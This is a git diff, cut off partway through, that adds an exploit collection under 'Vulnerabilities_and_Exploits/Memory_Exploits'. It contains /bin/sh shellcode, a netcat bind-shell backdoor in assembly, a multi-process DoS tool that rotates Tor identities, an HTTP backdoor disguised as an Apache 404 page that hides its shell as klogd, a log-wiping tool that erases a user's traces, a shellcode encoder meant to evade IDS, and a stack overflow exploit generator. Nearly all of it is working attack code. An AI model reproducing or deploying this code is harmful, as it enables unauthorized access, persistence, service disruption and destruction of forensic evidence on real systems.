remove dead urls, clean up readme

Vulnerabilities_and_Exploits/Memory_Exploits/Assembly/RUNNING_ASM.sh

@@ -0,0 +1 @@
+nasm shellspawn.asm

Vulnerabilities_and_Exploits/Memory_Exploits/Assembly/asm_compiler.sh

@@ -0,0 +1,10 @@
+#!/bin/bash
+if [ $# -ne 1 ]
+then
+    printf "\n\tUsage: $0 filename\n\n"
+    exit
+fi
+filename=`echo $1 | sed s/"\$"//`
+nasm -f elf $filename.asm && ld $filename.o -o $filename
+
+echo "Successfully compiled."

Vulnerabilities_and_Exploits/Memory_Exploits/Assembly/get_shell.asm

@@ -0,0 +1,19 @@
+;Universal Shellcode for Unix/Linux 
+section .text           ; Text section
+        global _start   ; Define _start function
+
+_start:                 ; _start function
+xor eax, eax            ; Zero out eax REGister
+xor ebx, ebx            ; Zero out ebx REGister
+xor ecx, ecx            ; Zero out ecx REGister
+cdq                     ; Zero out edx using the sign bit from eax
+push ecx                ; Insert 4 byte null in stack
+push 0x68732f6e         ; Insert /bin in the stack
+push 0x69622f2f         ; Insert //sh in the stack
+mov  ebx, esp           ; Put /bin//sh in stack
+push ecx                ; Put 4 Byte in stack
+push ebx                ; Put ebx in stack
+mov  ecx, esp           ; Insert ebx address in ecx
+xor  eax, eax           ; Zero out eax register
+mov  al, 11             ; Insert __NR_execve 11 syscall
+int  0x80               ; Syscall execute

Vulnerabilities_and_Exploits/Memory_Exploits/Assembly/netcat_backdoor.asm

@@ -0,0 +1,29 @@
+;netcat backdoor to inject as a shellcode
+jmp short todo
+shellcode:
+xor eax, eax 		; Zero out eax
+xor ebx, ebx		; Zero out ebx
+xor ecx, ecx		; Zero out ecx
+xor edx, edx		; Zero out edx using the sign bit from eax
+mov BYTE al, 0xa4 	; setresuid syscall 164 (0xa4)
+int 0x80		; syscall execute
+pop esi			; esi contain the string in db
+xor eax, eax		; Zero out eax
+mov[esi + 7], al	; null terminate /bin/nc
+mov[esi +  16], al 	; null terminate -lvp90
+mov[esi +  26], al	; null terminate -e/bin/sh
+mov[esi +  27], esi	; store address of /bin/nc in AAAA
+lea ebx, [esi + 8]	; load address of -lvp90 into ebx
+mov[esi +31], ebx	; store address of -lvp90 in BBB taken from ebx
+lea ebx, [esi + 17]	; load address of -e/bin/sh into  ebx
+mov[esi + 35], ebx	; store address of -e/bin/sh in CCCC taken from ebx
+mov[esi + 39], eax 	; Zero out DDDD
+mov al, 11		; 11 is execve  syscakk number
+mov ebx, esi		; store address of  /bin/nc 
+lea ecx, [esi + 27]	; load address of ptr to argv[] array
+lea edx, [esi + 39] 	; envp[] NULL
+int 0x80		; syscall execute 
+todo:
+call shellcode
+db '/bin/nc#-lvp9999#-e/bin/sh#AAAABBBBCCCCDDDD'
+;   0123456789012345678901234567890123456789012

Vulnerabilities_and_Exploits/Memory_Exploits/Assembly/shellspawn

@@ -0,0 +1 @@
+1ÀPh//shh/bin‰ãP‰âP‰á°Í€

Vulnerabilities_and_Exploits/Memory_Exploits/Assembly/shellspawn.asm

@@ -0,0 +1,14 @@
+BITS 32
+
+xor eax, eax        ; zero eax
+push eax            ; null terminate the string
+push 0x68732f2f     ; push //sh (// is same as / for our purpose)
+push 0x6e69622f     ; push /bin
+mov ebx, esp        ; pass first argument using ebx
+push eax            ; third argument is empty
+mov edx, esp
+push eax            ; second argument is empty
+mov ecx, esp
+mov al, 11          ; execve is system call #11
+int 0x80            ; issue an interrupt
+

Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/crawl_passwd_file.c

@@ -0,0 +1,10 @@
+#include <pwd.h> 
+int main()
+{
+struct passwd *p; 
+while(
+p=getpwent())
+printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name,p->pw_passwd,
+p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
+}
+

Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/dos_tool.c

@@ -0,0 +1,107 @@
+ 
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdint.h>
+#include <unistd.h>
+#include <netdb.h>
+#include <signal.h>
+#include <sys/socket.h>
+#include <sys/types.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+ 
+ 
+int make_socket(char *host, char *port) {
+ struct addrinfo hints, *servinfo, *p;
+ int sock, r;
+// fprintf(stderr, "[Connecting -> %s:%s\n", host, port);
+ memset(&hints, 0, sizeof(hints));
+ hints.ai_family = AF_UNSPEC;
+ hints.ai_socktype = SOCK_STREAM;
+ if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
+  fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
+  exit(0);
+ }
+ for(p = servinfo; p != NULL; p = p->ai_next) {
+  if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
+   continue;
+  }
+  if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
+   close(sock);
+   continue;
+  }
+  break;
+ }
+ if(p == NULL) {
+  if(servinfo)
+   freeaddrinfo(servinfo);
+  fprintf(stderr, "No connection could be made\n");
+  exit(0);
+ }
+ if(servinfo)
+  freeaddrinfo(servinfo);
+ fprintf(stderr, "[Connected -> %s:%s]\n", host, port);
+ return sock;
+}
+ 
+ 
+void broke(int s) {
+ // do nothing
+}
+ 
+ 
+#define CONNECTIONS 8
+#define THREADS 48
+ 
+ 
+void attack(char *host, char *port, int id) {
+ int sockets[CONNECTIONS];
+ int x, g=1, r;
+ for(x=0; x!= CONNECTIONS; x++)
+  sockets[x]=0;
+ signal(SIGPIPE, &broke);
+ while(1) {
+  for(x=0; x != CONNECTIONS; x++) {
+   if(sockets[x] == 0)
+    sockets[x] = make_socket(host, port);
+   r=write(sockets[x], "\0", 1);
+   if(r == -1) {
+    close(sockets[x]);
+    sockets[x] = make_socket(host, port);
+   } else
+//    fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r);
+   fprintf(stderr, "[%i: Voly Sent]\n", id);
+  }
+  fprintf(stderr, "[%i: Voly Sent]\n", id);
+  usleep(300000);
+ }
+}
+ 
+ 
+void cycle_identity() {
+ int r;
+ int socket = make_socket("localhost", "9050");
+ write(socket, "AUTHENTICATE \"\"\n", 16);
+ while(1) {
+  r=write(socket, "signal NEWNYM\n\x00", 16);
+  fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r);
+  usleep(300000);
+ }
+}
+ 
+ 
+int main(int argc, char **argv) {
+ int x;
+ if(argc !=3)
+  cycle_identity();
+ for(x=0; x != THREADS; x++) {
+  if(fork())
+   attack(argv[1], argv[2], x);
+  usleep(200000);
+ }
+ getc(stdin);
+ return 0;
+}
+
+

Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/get_stack_pointer.c

@@ -0,0 +1,8 @@
+/* Get stack pointer of the system(Unix/Linux) */
+#iclude <stdio.h>
+unsigned long get_sp(void) {
+   __asm__("movl %esp,%eax");
+}
+void main() {
+  printf("0x%x\n", get_sp());
+}

Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/getshadd.c

@@ -0,0 +1,12 @@
+// usage: ./getshadd ENVVAR BINARY
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int main(int argc,char *argv[]){
+        char *ptr;
+        ptr=getenv(argv[1]);
+        ptr+=(strlen(argv[0])-strlen(argv[2]))*2;
+        printf("%s will be at %p\n",argv[1],ptr);
+        return 0;
+}

Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/http_backdoor.c

@@ -0,0 +1,129 @@
+#define _XOPEN_SOURCE
+#include <stdio.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/wait.h>
+#include <netinet/in.h>
+#include <signal.h>
+#include <string.h>
+
+#define DEFAULT_PORT 8080
+/* des crypted password */
+#define PWD "QXtGlGiFUEeKY"
+
+void sig_hand(int sig) {
+        int status;
+                /* rip off children */
+        while(waitpid(-1,&status,WNOHANG)>0);
+
+}
+
+/* we hide ourselves as httpd daemon */
+char *erro=
+"HTTP/1.1 404 Not Found\n"
+"Date: Mon, 08 Dec 1998 23:17:15 GMT\n"
+"Server: Apache/1.3.X (Unix)\n"
+"Connection: close\n"
+"Content-Type: text/html\n\n"
+"<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n"
+"<HTML><HEAD>\n"
+"<TITLE>404 Not Found</TITLE>\n"
+"</HEAD><BODY>\n"
+"<H1>Not Found</H1>\n"
+"The requested URL /loha was not found on this server.<P>\n"
+"<HR>\n"
+"<ADDRESS>Apache/1.3.X Server at yourserver Port 80</ADDRESS>\n"
+"</BODY></HTML>\n";
+
+void my_error(int fd) {
+        write(fd,erro,strlen(erro));
+}
+
+int main(int argc,char **argv)
+{
+        char *name[3];
+	char *env[2];
+	char *execname;
+        int fd,fd2,fromlen;
+        int port;
+        struct sockaddr_in serv;
+        char *crypted=PWD;
+        unsigned char *ptr;
+        char pass[9];
+
+        port=DEFAULT_PORT;
+        if (argc>1 && atoi(argv[1])) port=atoi(argv[1]);
+#ifndef DEBUG
+        if (fork()) exit(1);
+        close(0);
+        close(1);
+        close(2);
+        chdir("/");
+        setsid();
+#endif
+        signal(SIGCHLD,sig_hand);
+        
+        if((fd=socket(AF_INET,SOCK_STREAM,0))<0) {
+#ifdef DEBUG
+                perror("socket");
+#endif
+                exit(1);
+        }
+        serv.sin_addr.s_addr=0;
+        serv.sin_port=htons(port);
+        serv.sin_family=AF_INET;
+
+        if(bind(fd,(struct sockaddr *)&serv,16)) {
+#ifdef DEBUG
+                perror("bind");
+#endif
+                exit(1);
+        }
+
+        if(listen(fd,5)) {
+#ifdef DEBUG
+                perror("listen");
+                exit(1);
+#endif
+        }
+
+        for(;;) {
+                fromlen=16; /*(sizeof(struct sockaddr)*/
+                fd2=accept(fd,(struct sockaddr *)&serv,&fromlen);
+                if (fd2<0) continue;
+
+                if (fork()) { /* parent */
+                             close(fd2);
+                } else {
+                        close(fd);
+                        bzero(pass,9);
+                        read(fd2,pass,8);
+                        for(ptr=pass;*ptr!=0;ptr++)
+                                if(*ptr<32) *ptr=0;
+                        if (strcmp(crypt(pass,crypted),crypted)) {
+                                my_error(fd2);
+                                exit(1);
+                        }
+                        dup2(fd2,0);
+                        dup2(fd2,1);
+                        dup2(fd2,2);
+                        execname="/bin/sh";
+                        name[0]="/sbin/klogd";
+                        /* gives somewhat nicer appearence */
+                        name[1]="-i";
+                        name[2]=NULL;
+                        /* if the actual /bin/sh is bash
+                         * we need this to get rid saving stuff into
+                         * .bash_history file
+                         */
+                        env[0]="HISTFILE=/dev/null";
+                        env[1]=NULL;
+                        execve(name[0],name,env);
+                        exit(1);
+                }
+        }
+}
+
+

Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/leave_no_log.c

@@ -0,0 +1,201 @@
+/* Leave no logs */
+/***************************************************************************
+                          vanish.c  -  description                           
+                            -------------------                           
+                  begin                : Wed Feb 2 2000                       
+                  copyright            : (C) 2000 by Neo the Hacker     
+                  email                : --------------------------     
+                             
+***************************************************************************/
+
+/***************************************************************************
+* Vanish.c cleans WTMP, UTMP, lastlog, messages, secure, xferlog, maillog, *
+* warn, mail, httpd.access_log, httpd.error_log. Use your brain, check your*
+* logs and edit accordingly !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*
+****************************************************************************
+* Warning!! This programm is for educational purpouse only! I am not       *
+* responsible to anything you do with this !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*
+****************************************************************************
+* Code written for Unix like systems! Tested on SuSE-Linux 6.2 !           *
+* Compile like: gcc vanish.c -o vanish                                     *
+***************************************************************************/
+
+
+#include <stdio.h>
+#include <fcntl.h>		
+#include <utmp.h>		
+#include <sys/types.h>		
+#include <unistd.h>
+#include <lastlog.h>
+#include <pwd.h>
+
+#define UTMP            "/var/run/utmp"
+#define WTMP            "/var/log/wtmp"
+#define LASTLOG         "/var/log/lastlog"
+#define MESSAGES        "/var/log/messages"
+#define SECURE          "/var/log/secure"
+#define XFERLOG         "/var/log/xferlog"
+#define MAILLOG         "/var/log/maillog"     
+#define WARN            "/var/log/warn"
+#define MAIL            "/var/log/mail"
+#define HTTPDA          "/var/log/httpd.access_log"
+#define HTTPDE          "/var/log/httpd.error_log"
+#define MAXBUFF		8*1024
+
+
+
+int main(int argc, char *argv[])
+{
+struct utmp ut ;		
+struct lastlog ll ;		
+struct passwd *pass ;
+int i, size, fin, fout ;
+FILE *pfile;
+FILE *pfile2;
+char *varlogs[] = {MESSAGES, SECURE, XFERLOG, MAILLOG, WARN, MAIL, HTTPDA,HTTPDE} ; 
+char *newlogs[] = {"messages.hm", "secure.hm","xferlog.hm","maillog.hm","warn.hm", 
+"mail.hm", "httpda.hm", "httpde.hm"} ;  
+char buffer[MAXBUFF] ;
+
+char user[10] ;		
+char host[100] ;		
+char host_ip[17] ;
+
+
+/*Usage of the programm*/
+if (argc!=4)
+{
+   printf ("\n\n");
+   fprintf(stderr, "Vanish by Neo the Hacker\n");
+   fprintf(stderr, "Usage: %s <user> <host> <IP>\n\n",argv[0]) ;
+   exit () ;
+}
+
+/***************************
+* OK Let's start with UTMP *
+***************************/
+size = sizeof(ut) ;
+strcpy (user, argv[1]) ;
+fin = open (UTMP, O_RDWR) ;
+if (fin < 0)
+{
+fprintf(stderr, "\nFucking shit!! Utmp permission denied.Getting outta here!!\n");  
+close (fin) ;
+exit();
+}
+else
+{
+while (read (fin, &ut, size) == size) {
+       if (!strncmp(ut.ut_user, user, strlen(user))) {
+                   memset(&ut, 0, size);
+                   lseek(fin, -1*size, SEEK_CUR);
+                   write (fin, &ut, size);
+               }
+        }
+        close (fin);
+        printf("\nutmp target processed.");
+}
+/***************************
+* OK Let's go on with WTMP *
+***************************/
+	strcpy (host, argv[2]) ;
+  strcpy(host_ip, argv[3]) ;
+	
+	fin = open(WTMP, O_RDONLY) ;
+	if (fin < 0) {
+	fprintf(stderr, "\nFucking shit!! Wtmp permission denied.Getting outta here.\n") ; 		                              
+   close (fin) ; 		exit () ;
+	}
+	fout = open("wtmp.hm", O_WRONLY|O_CREAT) ;
+	if (fout < 0) {
+		fprintf(stderr, "\nDamn! Problems targeting wtmp. Getting outta here.\n") ;	
+		close (fout) ;
+		exit () ;
+	}
+	else {
+	while (read (fin, &ut, size) == size) {
+	if ( (!strcmp(ut.ut_user, user)) || (!strncmp(ut.ut_host, host, strlen(host))) ) {
+ 	/* let it go into oblivion */  ; 	
+	} 			
+        else write (fout, &ut, size) ; 		}
+		close (fin) ;
+		close (fout) ;
+		if ((system("/bin/mv wtmp.hm /var/log/wtmp") < 0) &&
+		    (system("/bin/mv wtmp.hm /var/log/wtmp") == 127)) {
+			fprintf(stderr, "\nAch. Couldn't replace %s .", WTMP) ;
+		}
+                system("/bin/chmod 644 /var/log/wtmp") ;
+		printf("\nwtmp target processed.") ;
+	}
+/***************************
+* OK Let's look at LASTLOG *
+***************************/
+	size = sizeof(ll) ;
+	fin = open(LASTLOG, O_RDWR) ;
+	if (fin < 0) {
+	fprintf(stderr, "\nFucking shit!! Lastlog permission denied.Getting outta here.\n") ; 		
+                close (fin) ;
+		exit () ;
+	}
+	else {
+		pass = getpwnam(user) ;
+		lseek(fin, size*pass->pw_uid, SEEK_SET) ;
+		read(fin, &ll, size) ;
+		ll.ll_time = 0 ;
+		strncpy (ll.ll_line, "      ", 5) ;
+		strcpy (ll.ll_host, " ") ;
+		lseek(fin, size*pass->pw_uid, SEEK_SET) ;
+		write(fin, &ll, size) ;
+		close (fin) ;
+		printf("\nlastlog target processed.\n") ;
+	}
+
+/**************************
+* OK moving to /var ....  *
+**************************/
+i=0;
+while (i<8) {
+printf("Processing %s\t", varlogs[i]) ;
+pfile = fopen (varlogs[i],"r");
+if (!pfile)
+{
+   printf("Couldn't open %s\n\n", varlogs[i]);
+   i++;
+   continue ;
+}
+
+
+pfile2 = fopen (newlogs[i],"w");
+if (!pfile2)
+{
+printf("Couldn't create backup file! 
+You have to have write permission to the folder!! %s \n\n", newlogs[i]);   
+  i++;   
+  continue;
+}
+else {
+      while (fgets(buffer, MAXBUFF, pfile) != NULL) {
+      if ((!strstr(buffer, user)) && (!strstr(buffer, host))&&(!strstr(buffer, host_ip)))  { 			
+fputs(buffer,pfile2) ;  } }
+}
+fclose (pfile);
+fclose (pfile2);
+printf ("                   DONE.\n");
+i++;
+}
+printf ("\n\n");
+system ("mv messages.hm /var/log/messages");
+system ("mv secure.hm /var/log/secure");
+system ("mv xferlog.hm /var/log/xferlog");
+system ("mv maillog.hm /var/log/maillog");
+system ("mv warn.hm /var/log/warn");
+system ("mv mail.hm /var/log/mail");
+system ("mv httpda.hm /var/log/httpd.access_log");
+system ("mv httpde.hm /var/log/httpd.error_log");
+printf ("\n\n");
+printf ("V_A_N_I_S_H_E_D_!\n");
+printf ("Your tracks have been removed\n");
+printf ("Exiting programm !!\n\n");
+exit();
+}
+

Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/md5_xor.c

@@ -0,0 +1,168 @@
+/*
+ *  0x333crypt <= MD5 & xor
+ *
+ *  process:
+ *
+ *  xor1 -> | mainkey in MD5 | 32 chars plain text readed by file
+ *  xor2 -> | subkey1 in MD5 | 32 chars plain text readed by file
+ *  xor3 -> | subkey2 in MD5 | 32 chars plain text readed by file
+ *
+ *  etc etc..
+ *
+ *  based on subkey generation in base a mainkey specified by user.
+ *  key isn't written in file.
+ *
+ *  coded by nsn
+ *
+ *  developed and tested on linux slackware
+ *  gcc -lssl source.c -o out
+ *
+ * ~ www.0x333.org ~
+ *
+ */
+
+#include <stdio.h>
+#include <openssl/md5.h>
+#include <string.h>
+#include <unistd.h>
+
+/* constants, variables and prototipes */
+
+#define VERSION "0.5"
+#define PASSLEN 128
+
+typedef enum {FALSE,TRUE} BOOLEAN;
+
+static char *MDString(char *string); 
+char xor(char, char); /* make xor between two chars and return result */
+void help(char *); /* prints help for user. */
+void gen(char *, char *, char *, BOOLEAN); 
+
+char      *mainkey     = NULL; /* can be changed with option -k */
+char      *infile      = NULL; /* can be changed with option -i */
+char      *outfile     = NULL; /* can be changed with option -o */
+BOOLEAN   operation    = TRUE; 
+
+/* functions source codes */
+
+char xor(char a, char b) { return a^b; }
+
+static char 
+*MDString (char *string) 
+{
+    static char ret[33]={"\0"}, hex[2];
+    unsigned char digest[16];
+    unsigned int len = strlen(string), i;
+    MD5_CTX context;
+
+        MD5_Init(&context);
+        MD5_Update(&context, string, len);
+        MD5_Final(digest, &context);
+
+        for (i = 0; i < 16; ++i) {
+           sprintf(hex,"%02x", digest[i]);
+           strcat(ret,hex);
+        }
+
+return ret;
+}
+
+void
+usage (char *prg)
+{
+
+   fprintf (stderr, "\n [~] 0x333crypt %s <= files with a key [~]\n",VERSION);
+   fprintf (stderr, " [~]     coded by nsn of 0utSid3rs      [~]\n\n");
+   fprintf (stderr, " Usage: %s [ -k password ] [-e/d ] [ -i infile ] [-o outfile] [ -h ]\n\n", prg);       
+   fprintf (stderr, " \t-k   = key for encrypt/decrypt [ lentgh <= %d ]\n",PASSLEN);
+   fprintf (stderr, " \t-e/d = operation encrypt/decrypt\n");
+   fprintf (stderr, " \t-i   = infile\n");
+   fprintf (stderr, " \t-o   = outfile\n");
+   fprintf (stderr, " \t-h   = show this help\n\n");
+
+   exit(-333);
+}
+
+void 
+gen(char *infile, char *outfile, char *mainkey, BOOLEAN operation)
+{
+    FILE *instream = NULL, *outstream = NULL;
+    unsigned long int subkeyscounter = 1;
+    static char *hashMD5, tempkey[1024]={"\0"}, data[33]={"\0"}, byte;
+    unsigned short int i = 0;
+    size_t len;
+
+        if (!(instream = fopen(infile,"rb")) || (!(outstream = fopen(outfile,"wb"))))
+           printf("\n[*] error in opening %s or %s aborting!\n",infile,outfile);
+        else {
+   
+           memset(data,0,sizeof(data));
+           memset(tempkey,0,sizeof(tempkey));
+           hashMD5 = (char *)alloca(sizeof(data)); 
+           memset(hashMD5,0,sizeof(hashMD5));
+                      
+           printf("\n[*] reading data... wait pls\n\n");
+       
+           /* reading all chars of file */
+
+           while ((len = fread(&data[i++], 1, 32,instream)))
+           {
+          
+              strcpy(tempkey,mainkey);
+              sprintf(tempkey,"%s%d",mainkey,subkeyscounter);
+              hashMD5 = MDString(tempkey);
+              ++subkeyscounter;    
+              
+               /* xor subkey and plain text i,j */
+               
+                for (i = 0; i < len; ++i)
+                {
+                
+              byte = data[i];
+                 
+              if ((data[i] != hashMD5[i]) && (data[i] != 0))                       
+              byte = ((operation) ? xor(hashMD5[i],data[i]) : xor(data[i],hashMD5[i]));
+                      
+              fwrite(&byte,1,1,outstream);
+                }   
+              i = 0;
+              memset(data,0,sizeof(data));
+              memset(tempkey,0,sizeof(tempkey));
+              memset(hashMD5,0,sizeof(hashMD5));
+            }                 
+         printf("\n[*] work completed.\n[*] file generated with %d subkeys.\n",subkeyscounter);
+         fclose(instream);
+         fclose(outstream);
+       }      
+}
+
+int
+main (int argc, char **argv)
+{
+int c;
+
+       while (( c = getopt (argc,argv,"edh:k:i:o:")) != EOF)
+       {
+          switch(c) 
+          {
+             case 'e' : operation = TRUE;break;
+             case 'd' : operation = FALSE;break;
+             case 'k' : mainkey = optarg;break;
+             case 'i' : infile = optarg;break; 
+             case 'o' : outfile = optarg;break;
+             case 'h' : usage(argv[0]);break;
+             default  : 
+	     usage( argv[0] );
+          }
+       }
+
+      if ( argc != 8 )  { usage ( argv[0] ); }
+       
+      if (strlen(mainkey) <= PASSLEN)
+         gen(infile,outfile,mainkey,operation); 
+      else
+         printf("Password have to be with length <= %d\n",PASSLEN);   
+
+ return 0;
+}
+

Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/shellcode_encode.c

@@ -0,0 +1,100 @@
+#include <stdlib.h>
+#include <string.h>
+
+/*
+ *  Shellcode encoder 0.1 by zillion (safemode.org)
+ *
+ *  Wish list :
+ *  -----------
+ *
+ *  - Make the decoder polymorphic  
+ *  - Add OS detection (see safemode)
+ *
+ *  How to use it :
+ *  ---------------
+ *
+ *  Replace the shellcode with any shellcode, compile this file
+ *  and execute it. The decoder is OS independent and can thus be
+ *  used for any OS on Intel. The purpose: 
+ *
+ *  - Lower chance of IDS detection 
+ *  - Counter difficult characters
+ *  - Confuse sans students  ;-) 
+ *
+ *  The decoder :
+ *  -------------
+ *  
+ *  jmp short go
+ *  next:
+ *
+ *  pop             esi           
+ *  xor             ecx,ecx
+ *  mov             cl,11 
+ *  change:
+ *  sub byte        [esi + ecx - 1 ],11
+ *  sub             cl, 1
+ *  jnz change
+ *  jmp short ok
+ *  go:
+ *  call next
+ *  ok:
+ *  <shellcode comes here>
+ *
+ */
+
+void execute(char *  data);
+
+int main() {
+
+char decoder[] =
+        "\xeb\x11\x5e\x31\xc9\xb1\x00\x80\x6c\x0e\xff\x00\x80\xe9\x01"
+        "\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff";
+
+char shellcode[] =
+        "\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b\x50\xcd"
+        "\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23";
+
+char tmp;
+char *end;
+int size  = 53;
+int i; 
+int l = 15;
+
+for(i=0;i<strlen(shellcode);i++) {
+
+   shellcode[i] += size;
+
+}
+        decoder[6]  += strlen(shellcode);
+        decoder[11] += size;
+
+end = (char *) malloc(strlen(shellcode) + strlen(decoder));
+
+strcat(end,decoder);
+strcat(end,shellcode);
+
+        printf("\n\nchar shellcode[] =\n");
+
+        for(i = 0; i < strlen(end); ++i) {
+          if(l >= 15) {
+            if(i) printf("\"\n");
+            printf( "\t\"");
+            l = 0;
+          }
+          ++l;
+          printf("\\x%02x", ((unsigned char *)end)[i]);
+        }
+
+execute(end);
+free(end);
+}
+
+
+void execute(char *data) {
+
+int *ret;
+ret = (int *)&ret + 2;
+(*ret) = (int)data;
+
+}
+

Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/stack_overflow_generator.c

@@ -0,0 +1,371 @@
+/*  0x333xes => stack overflow exploit generator
+ *
+ *  simple stack overflow exploit generator, that permits
+ *  you to generate a -working- exploit source code. to make
+ *  your exploit correctly works, 'xes' try to automatically
+ *  find the correct ret address
+ *
+ *  coded by c0wboy
+ *
+ *  ~ www.0x333.org ~
+ */
+
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <getopt.h>
+
+
+#define VERSION       "0.3"
+
+#define EXPLOIT       "exploit.c"
+#define TEST          "xes"        /* file created with test shellcode */
+
+#define XES_std       0xbffff300   /* address we start from to search for RET */
+#define XES_env       0xbfffe0ff   /* that is not really true ... but by testing
+                                    * i found some ENV located there ...
+                                    */
+
+#define MAX_LENGHT    10240  /* max buffer-lenght to exploit */
+#define MAX_EVIL      1337   /* max ret-buffer lenght */
+#define MAX           4      /* max shellcodes supported */
+
+#define fatal(x...)   { fprintf (stderr, ##x); exit(-333); }
+#define offset(x)     0xbfffffff - x
+
+
+typedef struct { 
+        char * sh_name;
+        char * sh_type;
+} sharkode;
+
+sharkode shark[] = {
+
+   {
+      " \"touch xes\" shellcode [-test only-]",
+      "unsigned char test[] =\n\t"
+      "\"\\xeb\\x30\\x5e\\x89\\x76\\x16\\x31\\xc0\\x88\"\n\t"
+      "\"\\x46\\x08\\x88\\x46\\x0b\\x88\\x46\\x15\\x89\"\n\t"
+      "\"\\x46\\x22\\xb0\\x0b\\x8d\\x5e\\x09\\x89\\x5e\"\n\t"
+      "\"\\x1a\\x8d\\x5e\\x0c\\x89\\x5e\\x1e\\x89\\xf3\"\n\t"
+      "\"\\x8d\\x4e\\x16\\x8d\\x56\\x22\\xcd\\x80\\x31\"\n\t"
+      "\"\\xc0\\xb0\\x01\\xcd\\x80\\xe8\\xcb\\xff\\xff\"\n\t"
+      "\"\\xff\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\"\n\t"
+      "\"\\x20\\x2d\\x63\\x20\\x74\\x6f\\x75\\x63\\x68\"\n\t"
+      "\"\\x20\\x78\\x65\\x73\";"
+   },
+
+   {
+      " execve(/bin/sh); [linux]",
+      "unsigned char sharkode[] =\n\t"
+      "\"\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\"\n\t"
+      "\"\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x99\\x52\\x53\"\n\t"
+      "\"\\x89\\xe1\\xb0\\x0b\\xcd\\x80\";"
+   },
+
+   {
+      " execve(/bin/sh); [*BSD]",
+      "unsigned char sharkode[] =\n\t"
+      "\"\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\"\n\t"
+      "\"\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x54\\x53\"\n\t"
+      "\"\\x50\\xb0\\x3b\\xcd\\x80\";"
+   },
+
+   {
+      " setreuid(0,0)  shellcode",
+      "unsigned char sharkode[] =\n\t"
+      "\"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\xb0\\x46\\xcd\"\n\t"
+      "\"\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\"\n\t"
+      "\"\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x8d\\x54\"\n\t"
+      "\"\\x24\\x08\\x50\\x53\\x8d\\x0c\\x24\\xb0\\x0b\"\n\t"
+      "\"\\xcd\\x80\\x31\\xc0\\xb0\\x01\\xcd\\x80\";"
+   },
+
+   { NULL, NULL },
+};
+
+int off = 0;
+
+// prototypes
+int main (int, char * []);
+void usage (char *);
+void shak_list (void);
+unsigned long xes (int); /* find correct ret address */
+
+void
+usage (char * prg)
+{
+   fprintf (stderr, "\n [~] 0x333xes => stack overflow exploit generator v%s [~]\n", VERSION);
+   fprintf (stderr, " [~]          coded by c0wboy ~ www.0x333.org          [~] \n\n");
+   fprintf (stderr, " Usage : %s [ -b binary ] [ -e environ ] [ -w switch ]", prg);
+   fprintf (stderr, " [ -s type ] [ -x ] [ -l lenght ] [ -o lenght ] [ -a align ] [ -h ]\n");
+   fprintf (stderr, "\n \t-b\tbugged binary\n");
+   fprintf (stderr, " \t-e\tset environ variable bugged\n");
+   fprintf (stderr, " \t-w\tset switch bugged\n");
+   fprintf (stderr, " \t-s\tshellcode type [0-%d]\n", MAX-1);
+   fprintf (stderr, " \t-x\tshellcode list\n");
+   fprintf (stderr, " \t-l\tbuffer lenght\n");
+   fprintf (stderr, " \t-o\tevil buffer (nop+shellcode) lenght (default 1337)\n");
+   fprintf (stderr, " \t-a\talign the buffer (try 1)\n");
+   fprintf (stderr, " \t-h\tdisplay this help\n\n");
+
+   exit (-333);
+}
+
+void
+shak_list (void)
+{
+   int list;
+   fprintf (stdout, "\n [~] Shellcode Types :\n");
+   fprintf (stdout, " --------------------- \n");      
+   
+   for (list = 0; shark[list].sh_name != NULL; ++list)
+      fprintf (stdout, " [%d] %s\n", list, shark[list].sh_name);
+   fprintf (stdout, "\n");
+   
+   exit (-333);
+}
+
+unsigned long
+xes (int hard)
+{
+   int ret;
+   char wuffer[33];
+   unsigned long xes;
+   FILE * cya, * fd;
+   
+   if (off)
+      xes=XES_env;
+   else
+      xes=XES_std;
+
+   for (ret=1 ; ret < (offset(xes)) ; ret++, xes++)
+   {
+      bzero (wuffer, 33);
+      sprintf (wuffer, "./exploit 0x%x", xes);
+
+      fprintf (stdout, " * testing 0x%x\n", xes);
+      if ((cya=popen (wuffer, "r")) == NULL)
+         fatal (" [-] Error in testing exploit ...\n\n");
+      
+      if ((fd=fopen(TEST, "r")))
+      {
+         pclose(cya);
+         fclose(fd);
+         return (xes+ 0xdf);
+      }
+      pclose(cya);
+   }
+
+   if(!hard)
